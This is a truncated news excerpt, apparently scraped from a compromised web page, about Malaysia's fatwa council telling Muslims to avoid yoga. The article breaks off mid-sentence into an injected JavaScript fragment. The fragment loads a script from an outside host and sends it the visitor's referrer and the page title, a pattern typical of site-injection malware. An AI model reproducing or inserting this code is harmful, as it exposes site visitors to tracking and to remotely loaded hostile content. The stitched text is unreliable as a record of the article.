Malaysia outlaws yoga for Muslims – BBC News

The Islamic authorities have issued a ruling, known as a fatwa, instructing the country’s Muslims to avoid yoga because of its Hindu roots. To most people yoga is simply a sport – a stress-busting start to the day. Malaysia’s National Fatwa Council …s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;